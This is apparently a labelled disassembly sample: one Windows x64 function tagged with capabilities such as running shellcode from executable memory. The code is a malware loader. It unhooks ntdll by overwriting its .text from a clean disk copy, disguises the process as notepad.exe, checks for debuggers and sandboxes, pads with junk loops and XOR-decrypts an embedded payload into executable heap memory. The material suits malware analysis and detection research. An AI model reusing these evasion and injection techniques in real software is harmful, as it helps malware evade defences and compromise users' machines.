Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x7c0
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x730], xmm6
mov dword [rbp + 0x760], ecx
mov qword [rbp + 0x768], rdx
call fcn.140002d10
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x724], 0
mov dword [rbp + 0x6ac], 0xef
mov dword [rbp + 0x6a8], 0x77
mov eax, dword [rbp + 0x6ac]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x72c], 0
jmp 0x140001520
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rdx, rax
mov eax, dword [rbp + 0x72c]
mov dword [rdx], eax
add dword [rbp + 0x72c], 1
mov eax, dword [rbp + 0x72c]
cmp eax, dword [rbp + 0x6a8]
jl 0x1400014f7
mov dword [rbp + 0x72c], 1
jmp 0x1400015b2
mov eax, dword [rbp + 0x72c]
mov dword [rbp + 0x728], eax
jmp 0x140001589
mov edx, dword [rbp + 0x72c]
mov eax, dword [rbp + 0x728]
add edx, eax
mov eax, dword [rbp + 0x72c]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x728]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x728], 1
mov eax, dword [rbp + 0x6a8]
sub eax, dword [rbp + 0x72c]
mov edx, dword [rbp + 0x72c]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x728], eax
jle 0x140001548
add dword [rbp + 0x72c], 1
mov eax, dword [rbp + 0x72c]
cmp eax, dword [rbp + 0x6a8]
jl 0x14000153a
cmp dword [rbp + 0x6ac], 2
jle 0x1400015f6
mov eax, dword [rbp + 0x724]
lea edx, [rax + 1]
mov dword [rbp + 0x724], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x72c], 1
jmp 0x14000165a
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001653
mov eax, dword [rbp + 0x72c]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x724]
lea edx, [rax + 1]
mov dword [rbp + 0x724], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x72c], 1
mov eax, dword [rbp + 0x72c]
cmp eax, dword [rbp + 0x6a8]
jl 0x140001602
mov dword [rbp + 0x69c], 2
mov dword [rbp + 0x720], 0
mov dword [rbp + 0x72c], 0
jmp 0x1400016b6
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400016af
add dword [rbp + 0x720], 1
add dword [rbp + 0x72c], 1
mov eax, dword [rbp + 0x72c]
cmp eax, dword [rbp + 0x69c]
jl 0x140001688
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x68c], 1
mov ecx, 0xe18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov qword [rbp + 0x718], 2
jmp 0x14000173c
mov rax, qword [rbp + 0x718]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x718], 1
cmp qword [rbp + 0x718], 0x385
jbe 0x140001715
mov qword [rbp + 0x718], 2
jmp 0x1400017d3
mov rax, qword [rbp + 0x718]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400017cb
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x710], rax
jmp 0x1400017b4
mov rax, qword [rbp + 0x718]
imul rax, qword [rbp + 0x710]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x710], 1
mov rax, qword [rbp + 0x718]
imul rax, qword [rbp + 0x710]
cmp rax, 0x385
jbe 0x140001785
add qword [rbp + 0x718], 1
cmp qword [rbp + 0x718], 0x385
jbe 0x140001756
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
jne 0x14000185d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov ecx, 0x3e20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x704], 0
mov dword [rbp + 0x674], 1
mov dword [rbp + 0x700], 0
jmp 0x1400018fc
mov dword [rbp + 0x6fc], 0
jmp 0x1400018ec
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x700]
movsxd rdx, edx
imul rcx, rdx, 0x11c
mov rdx, qword [rbp + 0x678]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x6fc]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x6fc], 1
cmp dword [rbp + 0x6fc], 0x46
jle 0x14000189a
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x37
jle 0x14000188e
mov dword [rbp + 0x700], 0
jmp 0x140001963
mov dword [rbp + 0x6fc], 0
jmp 0x140001953
mov eax, dword [rbp + 0x700]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x6fc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000194c
add dword [rbp + 0x704], 1
add dword [rbp + 0x6fc], 1
cmp dword [rbp + 0x6fc], 0x46
jle 0x14000191d
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x37
jle 0x140001911
cmp dword [rbp + 0x704], 0x7c4
je 0x140001982
mov dword [rbp + 0x674], 0
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x708], 0
je 0x140001cfd
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x500]
mov rax, qword [rbp + 0x690]
mov r10, qword [rbp + 0x708]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x5c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x6f8], 0
jmp 0x140001a3a
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x668]
add rax, rdx
movsd xmm1, qword [0x140006598]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x6f8], 1
cmp dword [rbp + 0x6f8], 0xb8
jle 0x1400019ec
mov dword [rbp + 0x6f8], 0
jmp 0x140001aa1
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x668]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x668]
add rax, rdx
movq xmm1, qword [0x1400065a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x6f8], 1
cmp dword [rbp + 0x6f8], 0xb8
jle 0x140001a52
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x660], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x660]
add rax, rdx
mov qword [rbp + 0x638], rax
mov word [rbp + 0x6f6], 0
jmp 0x140001ce5
mov rax, qword [rbp + 0x638]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x638]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x6f6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cd4
mov dword [rbp + 0x4c4], 0
mov rax, qword [rbp + 0x630]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x630]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x660]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x630]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x630]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x630]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x660]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4c4]
mov rax, qword [rbp + 0x630]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x630]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x660]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x6f6]
add eax, 1
mov word [rbp + 0x6f6], ax
mov rax, qword [rbp + 0x638]
movzx eax, word [rax + 6]
cmp word [rbp + 0x6f6], ax
jb 0x140001ba9
mov ecx, 0xa9c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x6f0], 0
jmp 0x140001d67
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x6f0], 1
cmp dword [rbp + 0x6f0], 0x2a6
jle 0x140001d1a
mov dword [rbp + 0x6f0], 0
jmp 0x140001e7f
mov dword [rbp + 0x524], 0
jmp 0x140001e61
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x524]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001e5a
mov eax, dword [rbp + 0x524]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x520], eax
mov eax, dword [rbp + 0x6f0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, dword [rbp + 0x524]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x524]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x520]
mov dword [rdx], eax
add dword [rbp + 0x6f0], 1
mov eax, 0x2a6
sub eax, dword [rbp + 0x6f0]
cmp dword [rbp + 0x524], eax
jl 0x140001d91
add dword [rbp + 0x6f0], 1
cmp dword [rbp + 0x6f0], 0x2a6
jle 0x140001d82
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x4cc], 0
mov rax, qword [rbp + 0x6b8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4d0]
lea rax, [rbp + 0x4cc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x620]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x4d8]
add rax, 0x3c
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x618]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x4c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x4c8]
mov r8, qword [rbp + 0x610]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x4c8]
cmp eax, 1
je 0x140002c40
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
jne 0x140002c40
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x600], rax
cmp qword [rbp + 0x600], 0
je 0x140002059
mov rax, qword [rbp + 0x600]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5f8]
mov r9d, 0x3000
mov r8d, 0x480
mov edx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002c40
mov ecx, 0x6aa
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6aa
jne 0x140002c40
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x5f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5e8]
mov r9d, 0x3000
mov r8d, 0x34c
mov edx, 0
call rax
mov qword [rbp + 0x5f0], rax
cmp qword [rbp + 0x5f0], 0
je 0x140002c40
lea rax, str.hbzxodsooewoo.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5e0], rax
cmp qword [rbp + 0x5e0], 0
jne 0x140002c40
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5d8], rax
cmp qword [rbp + 0x5d8], 0
jne 0x140002c40
mov dword [rbp + 0x5d4], 0x331
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x5c0]
call rax
mov dword [rbp + 0x5bc], eax
mov eax, dword [rbp + 0x5d4]
mov r8, qword [rbp + 0x5c8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5c0]
call rax
mov dword [rbp + 0x5b8], eax
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0x2ff
jbe 0x140002c40
mov ecx, 0x45e
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x45e
jne 0x140002c40
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5b0], rax
cmp qword [rbp + 0x5b0], 0
jne 0x140002c40
lea rax, [rbp + 0x70]
lea rdx, [0x140006140]
mov ecx, 0x89
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov ecx, 0x1a40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
mov ecx, 0x1a40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a0], rax
mov ecx, 0x1a40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x598], rax
mov dword [rbp + 0x6e4], 0
jmp 0x1400023ee
mov dword [rbp + 0x6e0], 0
jmp 0x1400023da
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x6e4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x5a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x6e0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x6e4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x5a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x6e0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x6e0], 1
cmp dword [rbp + 0x6e0], 0x37
jle 0x140002313
add dword [rbp + 0x6e4], 1
cmp dword [rbp + 0x6e4], 0x1d
jle 0x140002304
mov dword [rbp + 0x6e4], 0
jmp 0x1400024cb
mov dword [rbp + 0x6e0], 0
jmp 0x1400024b7
mov eax, dword [rbp + 0x6e4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x5a8]
add rdx, rax
mov eax, dword [rbp + 0x6e0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x6e4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x5a0]
add rdx, rax
mov eax, dword [rbp + 0x6e0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x6e4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x598]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x6e0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x6e0], 1
cmp dword [rbp + 0x6e0], 0x37
jle 0x140002419
add dword [rbp + 0x6e4], 1
cmp dword [rbp + 0x6e4], 0x1d
jle 0x14000240a
mov rax, qword [rbp + 0x5a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x598]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x6b0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x590]
mov r8d, 0
mov edx, 0x44d
mov ecx, 0x40000
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x580]
mov r9, qword [rbp + 0x588]
mov r8d, 0x44d
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x6b8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x570], rax
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x578]
mov r9, qword [rbp + 0x570]
mov r8d, 0x44d
mov rcx, rax
call r9
mov dword [rbp + 0x6dc], 0
mov dword [rbp + 0x6d8], 0
mov dword [rbp + 0x6d4], 0
movabs rax, 0x4dafbca8a5c218c2
movabs rdx, 0xaf7b51f97d77bb01
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x100297dfa0cab002
movabs rdx, 0xc6eb3cf530fb9516
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x1ca461aae1243400
movabs rdx, 0xb142f80442d59883
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x799c4bb142f80442
movabs rdx, 0x3be681869aed08
mov qword [rbp + 0x5b], rax
mov qword [rbp + 0x63], rdx
movabs rax, 0x543d6ed721693e2c
movabs rdx, 0x1306922976c548ea
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x82a5f7ee305753d1
movabs rdx, 0x487470b9cb911043
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x2513e3434c4874
mov qword [rbp - 0x22], rax
jmp 0x140002842
cmp dword [rbp + 0x6d8], 0x24
jne 0x1400026e2
mov eax, dword [rbp + 0x6dc]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x6d8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x6dc]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x6d8], 0
jmp 0x140002711
mov eax, dword [rbp + 0x6dc]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x6d8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x6dc]
cdqe
mov byte [rbp + rax - 0x10], dl
add dword [rbp + 0x6d8], 1
mov dword [rbp + 0x534], 0
mov ecx, 0x960
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x528], rax
mov dword [rbp + 0x6d0], 0
jmp 0x14000281c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x534], edx
mov edx, dword [rbp + 0x534]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x534], eax
cmp dword [rbp + 0x534], 0x168
jle 0x1400027a2
mov eax, dword [rbp + 0x6d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x528]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002815
cmp dword [rbp + 0x534], 0
jns 0x1400027cf
mov eax, dword [rbp + 0x6d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x528]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002815
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x534]
movsd xmm0, qword [0x1400065b0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065b8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x6d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x528]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x6d0], 1
cmp dword [rbp + 0x6d0], 0x257
jle 0x14000273b
mov rax, qword [rbp + 0x528]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x6dc], 1
mov eax, dword [rbp + 0x6dc]
cmp eax, 0x39
jbe 0x1400026a5
mov dword [rbp + 0x6dc], 0
jmp 0x140002956
cmp dword [rbp + 0x6d4], 0x39
jne 0x1400028b3
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6d4]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x6d4], 0
jmp 0x1400028f8
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6d4]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x6d4], 1
mov dword [rbp + 0x6cc], 0xffffffff
add dword [rbp + 0x6cc], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x360
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d00
movq rax, xmm0
mov qword [rbp + 0x538], rax
